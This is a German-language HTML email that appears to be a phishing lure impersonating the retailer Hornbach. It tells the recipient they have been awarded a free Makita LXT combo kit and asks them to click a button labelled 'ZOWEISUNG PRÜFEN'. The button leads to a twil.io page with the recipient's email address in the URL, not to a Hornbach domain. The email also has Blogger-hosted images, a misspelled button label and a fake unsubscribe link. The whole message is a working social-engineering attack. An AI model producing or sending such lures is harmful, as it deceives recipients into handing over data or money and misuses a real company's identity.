<!doctype html>
<html lang="de-AT">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Hornbach Kunden-Information</title>
<style>
html, body { height: 100%; margin: 0; font-family: Arial, Helvetica, sans-serif; background: #f4f4f4; }
.email-wrap { max-width: 600px; margin: 24px auto; border-radius: 12px; overflow: hidden; background: #ffffff; box-shadow: 0 10px 30px rgba(0, 0, 0, .1); }
.header-logo { padding: 20px; text-align: center; background: #ffffff; }
.header-logo img { max-width: 180px; height: auto; display: inline-block; }
.hero { background: #ffcc00; text-align: center; padding: 40px 20px 170px; position: relative; }
.headline { font-size: 28px; font-weight: 800; color: #222; margin: 0 0 12px 0; line-height: 1.2; }
.headline-small { font-size: 16px; font-weight: 600; color: #222; margin: 8px 0 0 0; }
.sub { font-weight: 550; max-width: 460px; margin: 15px auto; color: #333; font-size: 15px; line-height: 1.45; }
.cta { display: inline-block; margin: 20px auto 8px; padding: 14px 30px; border-radius: 28px; background: #d71920; color: #ffffff; text-decoration: none; font-weight: 700; font-size: 16px; transition: background 0.3s; }
.product-row { background: #fff; padding: 0 20px 40px; text-align: center; }
.product img { display: block; max-width: 80%; height: auto; border-radius: 6px; margin: -150px auto 0; position: relative; z-index: 2; filter: drop-shadow(0 12px 20px rgba(0,0,0,0.15)); }
.footer { max-width: 600px; margin: 0 auto 30px; font-size: 12px; color: #666; padding: 0 12px; text-align: center; line-height: 1.6; }
.footer a { color: #666; text-decoration: underline; }
@media (max-width:600px) { .headline { font-size: 22px; } .hero { padding-bottom: 130px; } .product img { margin-top: -110px; } }
</style>
</head>
<body>
<div class="email-wrap">
<div class="header-logo">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPSnmW6rDoNW6cxtflve82DFKrAKtnxcU9dmr9Ig-PTXtYEhuXlGTdu7LzVRF7kXnWd7E6iju_cmSbThwzHsWaWwSd7aMP3G_w81ya7Qa2GiaDBDgjM2-VPQ7Yb5iZzv2WHcgFaiuWY6HGUTV_Ws_mcnRrnu5qNT36Tz8bjPQIQkcc8ICXQ4b095U5yd4/w1684-h1069-p-k-no-nu/xx2.png" alt="Logo">
</div>
<div class="hero" style="background: #ffcc00; text-align: center; padding: 40px 20px 150px;">
<h1 class="headline" style="font-size: 26px; font-weight: 800; color: #222; margin: 0 0 12px 0;">
Kunden-Benachrichtigung: Makita Treue-Programm
</h1>
<h2 class="headline-small" style="font-size: 16px; font-weight: 600; color: #222; margin: 8px 0 0 0;">
Sehr geehrter Kunde,
</h2>
<p class="sub" style="font-weight: 550; max-width: 460px; margin: 15px auto; color: #333; font-size: 15px; line-height: 1.45;">
Im Rahmen unserer aktuellen Kundenauswertung wurde Ihr Account für die
Bereitstellung eines <strong>Makita LXT Combo-Kits</strong> erfolgreich registriert.
Dies erfolgt als Anerkennung für Ihre Aktivität bei Hornbach.
</p>
<a class="cta" href="https://makita-6250.twil.io/makita.html?email=python-apps-team@lists.alioth.debian.org"
style="display: inline-block; margin: 20px auto 8px; padding: 14px 30px; border-radius: 28px; background: #d71920; color: #ffffff; text-decoration: none; font-weight: 700; font-size: 16px;">
ZOWEISUNG PRÜFEN
</a>
</div>
<div class="product-row">
<div class="product">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnbPSIWMPfJdp7dr_gbg9NXvKrK2JAO6PYZywK5e-PoKrQoyS_YYwcZ4HTvDdLxGRqetCOY2GS3Xjo6aKAD_bvUkjdwSUzUjBpZIh_DvyKofA3rqPxnnh6vWNBWlkaJOCViPOCiF7mu29RgMmbC0MCBlyYBquCDhVI6Joqkza589ejFMBtrQ-klCvezB4/s960/xx1.png" alt="Makita Combo Kit">
</div>
</div>
</div>
<div class="footer">
HORNBACH Baumarkt AG, Hornbachstraße 11, 76879 Bornheim.<br>
Wenn Sie keine weiteren Service-Mails erhalten möchten, <a href="#">klicken Sie hier zum Abmelden</a>.<br>
© 2026 Hornbach Kundenservice.
</div>
</body>
</html>